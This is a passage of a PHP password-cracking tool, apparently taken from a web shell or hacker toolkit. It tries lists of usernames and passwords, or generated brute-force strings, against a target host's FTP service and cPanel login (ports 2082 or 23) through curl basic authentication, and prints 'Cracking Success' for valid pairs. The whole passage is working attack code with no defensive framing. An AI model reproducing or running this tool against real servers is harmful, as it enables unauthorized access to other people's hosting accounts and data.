";
cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
while (1) {
for ($i = 0; $i < ($max + 1); $i++) {
if ($A[$i] == -1) {
break;
}
}
$i--;
$incDone = 0;
while (!$incDone) {
for ($j = 0; $j < $numVals; $j++) {
if ($A[$i] == $vals[$j]) {
break;
}
}
if ($j == ($numVals - 1)) {
$A[$i] = $vals[0];
$i--;
if ($i < 0) {
for ($i = 0; $i < ($max + 1); $i++) {
if ($A[$i] == -1) {
break;
}
}
$A[$i] = $vals[0];
$A[$i + 1] = -1;
$incDone = 1;
print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
";
}
} else {
$A[$i] = $vals[$j + 1];
$incDone = 1;
}
}
$i = 0;
$currentVal = "";
while ($A[$i] != -1) {
$currentVal = $currentVal . $A[$i];
$i++;
}
cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
//echo $currentVal . "
";
if ($currentVal == $realMax) {
return 0;
}
}
}
function getmicrotime() {
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
function ftp_check($host,$user,$pass,$timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "
Error : Connection Timeout
Please Check The Target Hostname .";exit;
}
else if ( curl_errno($ch) == 0 )
{
print "
[~]
Cracking Success With Username "$user\"
and Password \"$pass\"
";
}
curl_close($ch);
}
function cpanel_check($host,$user,$pass,$timeout)
{
global $cpanel_port;
$ch = curl_init();
//echo "http://$host:".$cpanel_port." $user $pass
";
curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "
Error : Connection Timeout
Please Check The Target Hostname .";exit;
}
else if ( curl_errno($ch) == 0 )
{
print "[~]
Cracking Success With Username "$user\"
and Password \"$pass\"
";
}
curl_close($ch);
}
$time_start = getmicrotime();
if(isset($submit) && !empty($submit))
{
if(empty($users) && empty($pass) )
{
print "Error : Please Check The Users or Password List Entry . . .
"; exit; }
if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; }
if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; };
$userlist=explode("\n",$users);
$passlist=explode("\n",$pass);
print "[~]#
Cracking Process Started, Please Wait ...
";
if(isset($_POST['connect_timeout']))
{
$connect_timeout=$_POST['connect_timeout'];
}
if($cracktype == "ftp")
{
foreach ($userlist as $user)
{
$pureuser = trim($user);
foreach ($passlist as $password )
{
$purepass = trim($password);
ftp_check($target,$pureuser,$purepass,$connect_timeout);
}
}
}
if ($cracktype == "cpanel" || $cracktype == "cpanel2")
{
if($cracktype == "cpanel2")
{
$cpanel_port="23";
}
else
$cpanel_port="2082";
foreach ($userlist as $user)
{
$pureuser = trim($user);
print "[~]#
Processing user $pureuser ... ";
if($_POST['bruteforce']=="true")
{
echo " bruteforcing ..";
echo "
";
brute();
}
else
{
echo "
";
foreach ($passlist as $password )
{
$purepass = trim($password);
cpanel_check($target,$pureuser,$purepass,$connect_timeout);
}
}
}
$time_end = getmicrotime();
$time = $time_end - $time_start;
print "[~]#
Cracking Finished. Elapsed time: $time seconds
";
}
}
?>
Sunni